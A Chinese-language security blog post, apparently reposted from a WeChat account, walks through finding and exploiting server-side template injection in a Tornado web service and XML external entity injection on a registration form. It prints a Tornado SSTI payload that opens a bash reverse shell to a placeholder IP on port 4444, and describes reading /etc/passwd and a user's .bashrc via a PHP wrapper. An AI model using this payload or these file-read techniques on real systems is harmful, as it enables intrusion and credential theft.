当我使用nmap对网站的端口和服务进行扫描的时候发现9999端口开放的web服务用的是Tornado框架。
Tornado是一个python语言的web服务框架,python作为后端语言,我能想到的最有可能存在的漏洞也就是SSTI模板注入了,所以我这里随手测一下看是否有SSTI模板注入的漏洞。
如上图所示,我们可以看到服务器处理了我们8*8的计算,并返回了结果64,说明这里可能是存在SSTI模板注入漏洞的。
知识补充:我这里给出一个模板注入通用的测试payload:
{{1+abcdef}}${1+abcdef}<?1+abcdef?>[1+abcdef]
如果使用该payload后发现页面产生了如下图所示的报错,也是可以说明存在模板注入漏洞。
既然我已经验证了存在SSTI模板注入,接下来我就又尝试构造了一个反弹shell的payload,尝试getshell,从而突破边界。
{% import os %}{{os.system('bash -c "bash -i &> /dev/tcp/IP/4444 0>&1"')}} #这里的ip需要换成自己服务器的ip
然后我先在自己的服务器上监听了4444端口,然后我把上面的payload经过url编码后直接通过name参数传给服务器执行。
如上图所示我们发现shell成功反弹,我们获取到一个普通用户的权限的账号。接下来的后续操作,这里就不再记录了。
下面这张图是我在一个网站的注册页面提交数据的时候抓的包,通过burp抓包我发现这个请求提交的数据是以xml的格式进行提交的,到这里我就有思路了,我知道这里可以测试是否存在xxe漏洞。
补充知识:XML 被设计用于传输和存储数据,XML 文档结构包括 XML 声明、 DTD 文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据 从 HTML 分离,是独立于软件和硬件的信息传输工具。XXE 漏洞全称 XML External Entity Injection,即 xml 外部实体注入漏洞,XXE 漏洞发 生在应用程序解析 XML 输入时,没有禁止外部实体的加载,导致可加载 恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站 等危害。
测试是否存在xxe漏洞很重要的一个点就是我们如果我们提交的某个数据经过服务器的处理,会原封不动的显示在页面当中的时候,这个提交数据的点就很有可能会存在xxe的漏洞,而刚好当前页面提交邮箱数据的这个点就符合这个特征。
如下图所示:
接下来我们通过burp抓包然后修改请求包中的内容来尝试读取/etc/passwd文件进行测试,如果成功读取到了该文件,则说明这里存在可以利用的xxe漏洞。
接着我又开始尝试访问xxxx用户家目录下的文件,当我访问到bash的配置文件bashrc时发现返回结果为空,然后我猜测可能是存在一些过滤的手段,然后我又尝试使用php的封装器来读取这个文件,因为bash的配置文件bashrc文件中可能会存在一些用户的敏感信息,所以我想尝试看能否返回的一些有用的信息。
当我使用php的封装器来读取这个文件的时候,如下图所示发现返回包中出现了base64编码后的数据,说明这种方法成功的绕过了一些过滤,然后读取到了该文件的内容。
本篇文章主要介绍了SSTI模板注入漏洞和XXE漏洞的常规挖掘思路及利用过程,用到的知识比较基础,希望看到本文各位大佬,轻点喷。
【往期推荐】
漏洞复现 | CVE-2022-24990信息泄露+RCE(POC已公开)
SpringBoot入门笔记第一篇 | 环境准备、构建项目、单元测试、热部署
漏洞复现 | CVE-2022-0847内核提权漏洞(POC已公开)
漏洞监控平台——Monitor(源码在文末)
使用poste搭建自己的邮件服务器
实战 | 一次杀猪盘的拿shell经历
DC-1靶机实战和分析
实战|一个表白墙引发的“血案”
「由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人承担,EXP 与 POC 仅供对已授权的目标使用测试。本文中的漏洞均为公开的漏洞收集,若文章中的敏感内容产生了部分影响,请及时联系作者删除,望师傅们谅解」
原文始发于微信公众号(小艾搞安全):SSTI模板注入与XXE注入漏洞的挖掘和利用
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论